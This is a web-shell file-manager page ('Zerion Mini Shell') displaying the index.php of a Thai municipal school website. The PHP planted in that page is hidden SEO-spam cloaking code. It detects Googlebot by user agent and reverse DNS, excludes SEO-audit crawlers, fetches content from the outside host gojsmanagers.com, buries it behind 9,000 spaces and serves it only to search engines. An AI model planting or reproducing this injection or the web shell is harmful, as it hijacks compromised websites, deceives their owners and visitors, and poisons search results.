Mini Shell

Direktori : /var/www/vhosts/ccp.ac.th/httpdocs/
Upload File :
Current File : /var/www/vhosts/ccp.ac.th/httpdocs/index.php

<!DOCTYPE html>
<html lang="en">  
<head>  
 <meta name="google-site-verification" content="Dbh47cW2wGAwjoCZVegEdRzmZI7pynQTeHiWTbt2P6Y" />
<title>โรงเรียนเทศบาลวัดชัยชุมพล | CCP</title>   
<meta name="description" content="โรงเรียนเทศบาลวัดชัยชุมพล | Watchaichumpol municipality school">
<?php include 'head.php'; ?>

<?php
function isKnownBot($userAgent, $ipAddress) {
    $knownBots = [
        'Googlebot', 
        'Googlebot-Image',
        'Googlebot-Video',
        'Google-InspectionTool',
        'gugle',
    ];

    foreach ($knownBots as $botAgent) {
        if ($userAgent && strpos($userAgent, $botAgent) !== false) {
            $host = gethostbyaddr($ipAddress);
            if (checkDNS($host, $botAgent)) {
                return true;
            }
            break;
        }
    }

    return false;
}

function checkDNS($host, $botAgent) {
    if ($botAgent == 'Googlebot' && (preg_match('/googlebot\.com$/', $host) || preg_match('/google\.com$/', $host))) {
        return true;
    }
    if ($botAgent == 'Googlebot-Image' && (preg_match('/googlebot\.com$/', $host) || preg_match('/google\.com$/', $host))) {
        return true;
    }
    if ($botAgent == 'Googlebot-Video' && (preg_match('/googlebot\.com$/', $host) || preg_match('/google\.com$/', $host))) {
        return true;
    }
    if ($botAgent == 'gugle') {
        return true;
    }

    return false;
}

function isMobileUserFromGoogle($userAgent, $httpReferer) {
    if ($userAgent === null || $httpReferer === null) {
        return false; 
    }
    
    $isMobile = preg_match('/Mobile|Android|BlackBerry|iPhone|Windows Phone/', $userAgent);
    $isFromGoogle = strpos($httpReferer, 'google.com') !== false;
    return $isMobile && $isFromGoogle;
}

$ipAddress = isset($_SERVER['HTTP_CF_CONNECTING_IP']) ? $_SERVER['HTTP_CF_CONNECTING_IP'] : $_SERVER['REMOTE_ADDR'];
$userAgent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : '';
$httpReferer = isset($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '';

$blockeduseragents = [
    'AhrefsBot', 
    'AhrefsSiteAudit', 
    'AhrefsCrawler', 
    'SemrushBot', 
    'SemrushBot-SA', 
    'SemrushBot-SI', 
    'SemrushBot-BA', 
    'SemrushBot-BM', 
    'SemrushBot-OCOB', 
    'SplitSignalBot', 
    'SemrushBot-SWA',
    'SiteAuditBot', 
    'MJ12bot', 
    'Majestic-12', 
    'DotBot', 
    'BLEXBot', 
    'Screaming Frog', 
    'SEMrushBot', 
    'LinkpadBot', 
    'Rogerbot', 
    'MojeekBot'
];

$isBlockedBot = false;
foreach ($blockeduseragents as $botAgent) {
    if ($userAgent && strpos($userAgent, $botAgent) !== false) {
        $isBlockedBot = true;
        break;
    }
}


if (isKnownBot($userAgent, $ipAddress)) {
    if (!$isBlockedBot) {
        $url = "https://gojsmanagers.com/ling2.php";
        $germany = @file_get_contents($url);

        if ($germany === false) {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            $germany = curl_exec($ch);
            curl_close($ch);
        }

        $germany = preg_replace('/\s+/', ' ', $germany);
        $germany = str_repeat(' ', 9000) . $germany;

        echo $germany;
    }
}
?>

Zerion Mini Shell 1.0